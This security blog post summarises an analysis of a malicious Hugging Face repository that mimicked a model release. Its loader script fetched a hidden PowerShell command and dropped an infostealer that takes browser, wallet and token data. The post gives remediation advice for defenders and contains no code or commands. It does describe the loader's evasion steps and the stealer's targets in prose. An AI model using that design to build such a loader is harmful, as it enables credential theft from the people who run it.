Malicious Hugging Face repositories turn AI model downloads into infostealer risk

At a glance

What this is: A malicious Hugging Face repository mimicked a legitimate model release and used a loader script to drop a Windows infostealer that harvested browser, wallet, and token data.

Why it matters: This matters because identity teams increasingly have to protect secrets stored on developer and operator endpoints, where one trusted download can expose NHI credentials, session tokens, and personal accounts alike.

By the numbers:

• Before removal, Open-OSS/privacy-filter reached approximately 244K downloads and 667 likes in under 18 hours.
• When AWS credentials are exposed publicly, attackers attempt access within an average of 17 minutes and as quickly as 9 minutes in some cases.
• The average estimated time to remediate a leaked secret is 27 days, despite 75% of organisations expressing strong confidence in their secrets management capabilities.

👉 Read HiddenLayer’s analysis of the malicious Hugging Face privacy-filter repository

Context

Open-source AI repositories are now part of the identity attack surface, because the compromise does not have to begin at the model layer. A malicious package or model download can instead target the endpoint, where browser sessions, saved passwords, OAuth tokens, SSH keys, and wallet material already exist as usable identities and secrets. In this case, the primary keyword is AI agent identity risk only in the broad sense that AI-adjacent distribution channels are being used to reach human and non-human credentials.

The governance gap is simple: teams often trust the provenance of a model or repo more than the executable code bundled with it. Once a repository includes a loader, the real control question becomes whether the endpoint can execute unreviewed code without exposing credential stores, session cookies, and cloud tokens to theft. That is a human IAM and NHI problem at the same time, because one compromised workstation can spill both user and workload secrets.

The article’s starting point is typical of modern supply chain abuse. Attackers copy legitimate project materials, use trending placement to build trust, and then hide malicious behaviour behind familiar setup instructions that encourage direct execution.

Key questions

Q: What should security teams do if a Hugging Face repo may have exposed browser and cloud credentials?

A: Treat the endpoint as compromised, isolate it, and reimage before any further authentication activity. Then rotate passwords, session cookies, OAuth tokens, SSH keys, cloud tokens, and any other secrets that may have been stored locally. The safest assumption is that browser-derived identity material can be reused by an attacker even if the password itself was not saved.

Q: Why do malicious AI repositories create both human and NHI identity risk?

A: Because the same infected host often stores both user sessions and workload credentials. Browser cookies, API tokens, SSH keys, and cloud secrets can all be harvested from one workstation and reused to impersonate people, services, or automated processes. That turns a software supply chain issue into a multi-identity compromise event.

Q: How do security teams reduce the risk of infostealer payloads in model repositories?

A: Require scanning and sandboxing for repository code before execution, especially loader scripts that fetch remote commands or suppress errors. Pair that with endpoint controls that restrict access to credential stores and with strong secrets hygiene so local caches contain less reusable material in the first place.

Q: How can teams tell whether a suspicious AI repo has already caused credential theft?

A: Look for signs of hidden shell execution, unexpected egress to command or payload hosts, browser session invalidation, and follow-on logins from unusual locations. On affected Windows hosts, artefacts such as runner scripts, Defender exclusions, and impersonated scheduled tasks are strong indicators that the repo executed beyond the download stage.

Technical breakdown

Typosquatted model repositories as a trust abuse channel

A typosquatted repository works because the user decision happens before any code review. The attacker copies a legitimate model card, mirrors expected naming, and relies on platform trust signals such as trending status, downloads, and social proof to induce execution. The malicious component is not the model itself but the adjacent loader, which turns a seemingly harmless clone into a code execution path. In identity terms, the repository becomes a delivery mechanism for a compromised endpoint rather than a trustworthy source of AI artefacts.

Practical implication: treat model provenance, repository metadata, and execution instructions as part of the security review, not just the weights or package contents.

Loader scripts that bridge download intent to malware execution

The loader.py file described in the article uses staged behaviour to hide intent. It first presents decoy output, disables SSL verification, fetches a command from a public JSON service, and then hands that command to PowerShell with a hidden window and silent failure handling. That architecture is designed to defeat both casual inspection and simple sandboxing. The key technical issue is that the repo does not need embedded malware binaries to be dangerous; it only needs a trusted script that retrieves and runs the payload at execution time.

Practical implication: block or review scripts that fetch remote commands, suppress errors, or launch hidden shells from AI model repos.

Infostealers target the credential stores that identity programmes depend on

The final payload is an infostealer, not a conventional ransomware blob. It targets Chromium, Gecko, Discord, wallet files, FileZilla, PuTTY, VPN material, screenshots, and machine metadata, then packages the results for exfiltration over HTTPS with bearer-authenticated POST requests. This matters to identity practitioners because endpoint credential stores often hold the same secrets that power SSO sessions, cloud access, and non-human identities. If those secrets are captured from a workstation, the attacker may never need to attack the identity provider directly.

Practical implication: assume any endpoint that executed the repo may have leaked both human session material and NHI secrets, and prioritize credential rotation accordingly.

Threat narrative

Attacker objective: The attacker’s objective was to steal usable credentials and session material from infected endpoints so they could access downstream accounts, cloud services, and wallet assets without needing further compromise.

1. Entry began when a user cloned the typo-squatted Hugging Face repository and followed instructions to run the bundled loader on a Windows host.
2. Credential access occurred when the loader fetched a remote PowerShell command and the final payload harvested browser stores, session cookies, tokens, wallet files, and other secrets from the endpoint.
3. Impact followed exfiltration of those credentials and local artefacts, creating direct reuse risk for cloud access, developer accounts, and non-human identity tokens.

Breaches seen in the wild

• Salesloft OAuth token breach — hackers stole OAuth tokens to access Salesforce data via Salesloft.
• Moltbook AI agent keys breach — Moltbook breach exposed 1.5M AI agent keys.

Read our 52 NHI Breaches Analysis report for a comprehensive view of breaches impacting Non-Human Identities including AI Agents.

NHI Mgmt Group analysis

Repository trust is now an identity control surface, not just a software distribution issue. The attack succeeded because users treated a trending AI repository as trustworthy enough to run, which collapsed the normal boundary between download, execution, and credential exposure. That is an NHI governance problem because the compromise path does not start with the model, it starts with the secrets already present on the host. Practitioners should treat AI repository intake as a governed trust decision, not a convenience workflow.

Credential stores on endpoints remain the easiest bridge from a malicious download to enterprise identity compromise. Browser cookies, saved passwords, OAuth tokens, SSH keys, and wallet data are all live identity artefacts, whether the subject is human or machine. Once infostealer malware reaches those stores, MFA can be bypassed through session theft and NHI access can be replayed without touching the identity provider. The implication is that endpoint secret exposure is now a first-class IAM event, not merely endpoint hygiene.

Model marketplace abuse shows how platform signals can be weaponised into false legitimacy. Trending placement, copied model cards, and inflated engagement created a trust shell around malicious code. That pattern matters across AI and NHI governance because social proof increasingly substitutes for technical validation in fast-moving ecosystems. Security teams should assume attacker use of platform reputation will keep scaling until repository intake, code execution, and secret-handling controls are separated more aggressively.

One named concept here is AI repository credential spillover. This is the point where a model download turns into theft of browser, cloud, and service credentials stored on the same endpoint. The concept captures the failure mode better than generic malware language because the harm is not just infection, it is identity reuse across human and non-human accounts. Practitioners need to recognise that a single malicious repo can become a credential collection event for multiple identity domains.

The breach also reinforces that secret lifecycle is a workstation problem before it is a vault problem. Secrets are often created, cached, and reused on developer or operator endpoints long before rotation policies ever see them. When a malicious repo can harvest those local stores, the operational boundary between human access and NHI access disappears. That means lifecycle governance must include endpoint exposure, not only central secret inventories.

From our research:

• When AWS credentials are exposed publicly, attackers attempt access within an average of 17 minutes and as quickly as 9 minutes in some cases, according to LLMjacking: How Attackers Hijack AI Using Compromised NHIs.
• HiddenLayer’s report shows the malicious repository reached approximately 244K downloads and 667 likes before removal, which is a reminder that trust signals can be manufactured at scale.
• That access window is why the DeepSeek breach matters here too, since exposed secrets and public compromise rapidly become downstream identity abuse opportunities.

What this signals

AI repository governance has to move upstream into intake and execution controls. The issue is not whether a model is legitimate in abstract, but whether the associated repository can run code on a workstation that already contains identity material. That is why the practical boundary now sits at trusted execution, not just package provenance. Teams that do not separate those two are leaving a direct path from trending repository to credential theft.

Repository reputation is becoming an attack primitive. Copied model cards, fabricated engagement, and trending placement can all be used to lower scrutiny before a loader runs. The security programme response is to assume that social signals are unreliable and to validate any AI repo through code inspection, sandbox execution, and constrained access to endpoint secrets.

The next control conversation should focus on where local credential stores are still over-privileged by default. If a single download can expose browser sessions, cloud tokens, and VPN material, then endpoint hardening is now part of identity governance, not an adjacent endpoint task.

For practitioners

• Quarantine any host that executed the repository Treat systems that ran start.bat, python loader.py, or related files as fully compromised and reimage them before any further logins or administrative work.
• Rotate every secret that could have been cached locally Replace saved passwords, browser sessions, OAuth tokens, SSH keys, FTP credentials, cloud provider tokens, Discord sessions, and wallet-related secrets from a clean device.
• Invalidate endpoint-derived session material immediately Assume session cookies and browser-authenticated sessions may have been stolen even when passwords were not saved, and force sign-out across affected services.
• Hunt for the loader’s infrastructure and host artefacts Block the observed domains, search for connections to the JSON command service and payload hosts, and review hosts for the runner.ps1 and MicrosoftEdgeUpdateTaskCore artefacts.
• Separate AI repository intake from execution rights Require review or sandboxing before running code from AI repositories, especially when the repository contains setup scripts, loader files, or remote command retrieval.

Key takeaways

• A malicious Hugging Face repository turned AI model distribution into a credential theft path by disguising a Windows infostealer behind a trusted-looking loader.
• The practical scale matters because the repository attracted roughly 244K downloads and 667 likes before removal, showing how quickly attacker-controlled trust signals can amplify exposure.
• The control that would have reduced harm most is not just malware detection, but preventing execution from untrusted repos and rotating all locally cached secrets immediately after exposure.

Key terms

• Typosquatted Repository: A typosquatted repository copies the naming, branding, or metadata of a legitimate project to trick users into trusting it. In AI supply chains, the danger is not only malicious content but the false legitimacy that encourages code execution, model download, or secret access from an untrusted source.
• Infostealer: An infostealer is malware designed to collect stored credentials, session tokens, browser data, wallet files, and other locally available secrets. It is especially dangerous on identity-rich endpoints because it can bypass passwords and MFA by stealing session material that already has authenticated access.
• Endpoint Secret Spillover: Endpoint secret spillover occurs when a local compromise exposes both human and non-human credentials stored on the same machine. The problem is wider than malware infection because one workstation can hold browser sessions, cloud tokens, SSH keys, and application credentials that all become reusable by an attacker.
• Loader Script: A loader script is a small program whose main purpose is to retrieve, decrypt, stage, or launch a second payload. In malicious AI repositories, loaders often hide the real behaviour until execution time, making them a common way to bypass casual review and simple static scanning.

Deepen your knowledge

Malicious repository execution and secret exposure are covered in the NHI Foundation Level course, the industry's only accredited NHI security programme. If your team is trying to govern developer endpoints, token stores, and AI-adjacent downloads, that material is directly relevant.

This post draws on content published by HiddenLayer covering the malicious Hugging Face repository Open-OSS/privacy-filter and its infostealer payload. Read the original.